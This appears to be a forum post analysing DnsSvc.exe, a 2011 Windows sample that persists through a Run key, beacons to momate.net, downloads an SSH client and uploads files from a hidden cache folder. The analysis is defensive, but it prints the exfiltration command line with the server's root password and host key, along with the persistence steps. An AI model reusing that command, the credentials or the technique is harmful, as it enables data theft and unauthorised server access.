Let's analyze dc33473683dc363f70aed095f82acd64 (DnsSvc.exe)
1) Information Gathering
- Hex Editor
- There is now "Rich" header, so no Microsoft compiler was used
- By looking at the section names we see ".bss" section. I personally know only Delphi which uses this name, but Delphi creates more sections than we have here. Conclusion is we have some "uncommon" compiler here.
- We see many (interesting) strings in cleartext, so no string obfuscation was used
- The strings ".../gcc/gcc/config/i386/w32-shared-ptr.c", "gnu_exception_handler..." and "..._mingw_CRTStartup..." indicate the MinGW developer environment was used to build the file
- PE Editor
- Time Date Stamp "2011/09/19 Mo 09:27:05 UTC"
- No resource section, so it's unlikely that it contains some files to drop
- Import Table (some interesting functions): FindFirstFile, FindNextFile , GetComputerName (kernel32.dll); RegOpenKeyEx, RegSetValueEx (advapi32.dll); WSASTartup, gethostbyname, connect, htons, recv, send, socket (wsock32.dll)
- PEiD says (and we trust it): "Dev-C++ 4.9.9.2 -> Bloodshed Software [Overlay]"
Bloodshed Dev-C++ is a full-featured Integrated Development Environment (IDE) for the C/C++ programming language. It uses Mingw port of GCC (GNU Compiler Collection) as it's compiler.
- PEiD says: Subsystem = Win32 console
- PEiD PlugIn Krypto ANALyzer (KANAL v.2.92) says: "No known crypto signatures found"
2) Static analysis (IDA Pro 5.0 free)
Strings:
Code: Select allC:\\recycler\\cache\\
md C:\\recycler\\cache\\
copy DnsSvc.exe C:\\recycler\\
Software\\Microsoft\\Windows\\CurrentVersion\\Run
My Directry8
connecting to server\n
momate.net
not connected with momate\n
connected\n
MachineGuid
SOFTWARE\\Microsoft\\Cryptography\\
Computer Name: %s\n
cName==%s\n
_data
%s%s%s
s=%d
Error
susnata
r====%d\n
exe1====%s
C:\\recycler\\
%s%s
buffer==%s\n
size===%d\n
exe data receiving over\n
===========///////////============\n
Clientmgr.exe
attrib +h C:\\recycler\\Clientmgr.exe
Clientmgr copied\n
open
---------------///-------------\n
.........out of while............\n
--------------------------------------------------------\n
attrib +h C:\\recycler\\Clientmgr.ini
==scan finished==\n
not connected \n
dest====%s\n
C:\\recycler\\cache\\*.*
file %s\n
c1===%s\n
exit
/home/momate/domains/momate.net/public_html/HTTP/
put c:\\recycler\\cache\\
option batch continue
/command
ssh-rsa 2048 a5:05:93:ae:ac:26:6b:6b:1c:2f:14:07:46:67:56:9e
/hostkey=
root:Iy7@@g5$$#N@momate.net
c:\\recycler\\Clientmgr.exe
%s %s %s%c%s%c %s %c%s%c %c%s%c%c%s%c%c %s%s%c%c %s
win===%s\n
done\n
C:\\recycler\\cache\\
%s %s%c%s%c
ccc====%s\n
no===\n
==scan end===\n
w32_sharedptr->size == sizeof(W32_EH_SHARED)
%s:%u: failed assertion `%s'\n
../../gcc/gcc/config/i386/w32-shared-ptr.c
GetAtomNameA (atom, s, sizeof(s)) != 0
Code:
Part 1 - Setup and contacting
First of all the program creates the folder "C:\recycler\cache\" and copies itself (DnsSvc.exe) into it. What is noticeable is that is uses commands by calling the C++ system() function namely "md" (make directory) and "copy". The use of commands can be observed throughout the whole code.
Thereafter it creates an Autorun key "My Directry8" in "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" with the value "C:\recycler\DnsSvc.exe".
Figure 1: Installation routine
Now it initiates the use of the Winsock DLL with WSAStartup() function. If it succeeds the code continues, otherwise the program exits.
By calling the socket() function it creates a socket. Then it creates a "sockaddr" structure and fills it subsequently with the appropriate values which later is required for the connect() function. So it calls the htons() function to convert the hex value "0x6A4" (1700 decimal -> Port) from host to TCP/IP network byte order. Afterwards it constantly tries to get a "hostent" structure from the host
h**p://momate.net by using the gethostbyname() function.
If it was successful a follow up function (Part 2) is called, otherwise it sleeps for 5 seconds and the loop continues to resolve the host.
Part 2 - File download
First it fills the last entry of the "sockaddr" structure with the pointer to the IP adress(es) resolved with the "gethostbyname" function. Then it connects to the host "momate.net" by calling the connect() function. It if fails to connect it ends up in the loop described at the end of Part 1, otherwise it continues.
By calling the SHGetValue() function the program gets the "MachineGUID" from the registry path "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\". This Globally Unique Identifier is combined with the Computer Name by calling the GetComputerName() and strcat() functions. After this by calling the sprintf() function it creates the string "C:_<MachineGUID+ComputerName>_data" and stores it into a buffer for later use (see Part 3).
Then it sends a 500 bytes of data with send() function to the host (momate.net) containing the string "<MachineGUID+ComputerName". Thereon it receives 50 bytes of data with recv() function and stores it into another buffer. The data inside this buffer is compared to the string "susnata" thus checking if the Computer is already infected and the "Clientmgr.exe" tool (see below) was already downloaded.
Figure 2: Comparison of server response
If this is not the case the program creates a binary file with fopen() function in "C:\recycler\" folder. Then it receives from the host 10 bytes of data which contains the size of the binary as string. The string gets converted into an integer by calling the atoi() function and then used as a counter for the following loop.
The loop starts with receiving a byte and storing it into a buffer. This byte gets immediately written to the binary file with fwrite() function. Afterwards the buffer is overriten with "0", the file size gets decreased and the loop continues. After the whole binary data was received the file gets closed with fclose() function and gets executed with ShellExecute() function.
Then again it receives the 50 bytes of data (loop) and stores it into the same buffer as above. This time the "susnata" comparison ends up in the new location where the program sleeps for 5 seconds, sets the (after file execution created) file attribute of "Clientmgr.ini" to hidden and jumps into the follow up function (Part 3).
Part 3 - File upload
Here the program scans the folder "C:\recycler\cache\" for files by using FindFirstFile() function. If successful, the program continues, otherwise FindClose() is called and execution flow ends up in loop of Part 2.
Now the downloaded "Clientmgr.exe" program of Part 2 gets executed with a quite long list of parameters:
Clientmgr.exe root:Iy7@@g5$$#
N@momate.net /hostkey="ssh-rsa 2048 a5:05:93:ae:ac:26:6b:6b:1c:2f:14:07:46:67:56:9e" /command "option batch continue" "put c:\\recycler\\cache\\""<NameOfFileToBeUploaded>"" /home/momate/domains/momate.net/public_html/HTTP/C:_<MachineGUID+ComputerName>_data/" exit
Figure 3: Execution of Clientmgr.exe
Its obvious that the file from folder c:\recycler\cache\ gets uploaded to the host with the help of the downloaded SSH Client tool (Clientmgr.exe). Unfortunately I wasn't able to get a copy of this program, so I can't tell if it is a public or private tool. Although the server is still up and running, it isn't responding to the DnsSvc.exe query, thus indicating the Scripts were removed.
Figure 4: DnsSvc.exe connection (patched to show console)
After a successful upload the string "aa" is send by calling send() function and the uploaded file gets deleted from folder "C:\recycler\cache\". Then the next file (if present) gets uploaded in the same way as described.
Server:
A whois query for momate.net reveals the following information, thus indicating the server was probably hacked.
Code: Select allDomain Name: MOMATE.NET
Registrant:
Faygo-Connections
Amanda Ramada (amanda.ramada@hotmail.com)
H-147 , park lane
street 14-b
South Block
California State San Marcos
California,92096
US
Tel. +1.41512355236
Creation Date: 23-Jul-2011
Expiration Date: 23-Jul-2012
Domain servers in listed order:
ns1.suspended-domian.com
ns2.suspended-domian.com
Administrative Contact:
Faygo-Connections
Amanda Ramada (amanda.ramada@hotmail.com)
H-147 , park lane
street 14-b
South Block
California State San Marcos
California,92096
US
Tel. +1.41512355236
Technical Contact:
Faygo-Connections
Amanda Ramada (amanda.ramada@hotmail.com)
H-147 , park lane
street 14-b
South Block
California State San Marcos
California,92096
US
Tel. +1.41512355236
Billing Contact:
Faygo-Connections
Amanda Ramada (amanda.ramada@hotmail.com)
H-147 , park lane
street 14-b
South Block
California State San Marcos
California,92096
US
Tel. +1.41512355236
Status:LOCKED
3) Conclusion
- The executable is easy and straight forward to reverse, because of its small size and missing obfuscation
- The executable was created as console application (hidden) with many printf() function calls inside for information/debugging purposes, so its easy to follow execution flow
- The binary executes alot of its tasks with the help of system commands, maybe to prevent AV heuristic detection, maybe the author has just a low skill level, who knows...
- The binary DnsSvc.exe is just a part of the whole infection, because the component which copies the files to "C:\recycler\cache\" folder is missing (see also http://www.threatexpert.com/report.aspx ... 48716ab35f)
- The server momate.net is up and running, but not responding to the DnsSvc.exe requests thus indicating the operation ended and the responding PHP Scripts where removed
- Other servers from the same operation are also down: h**p://greenpeacesite.com, h**p://www.secure.vendetta-series.info, h**p://www.polarfargo.net
-> End of the game
Really?
Not necessarily! Let's see, I found a server which is still running...
To be continued...
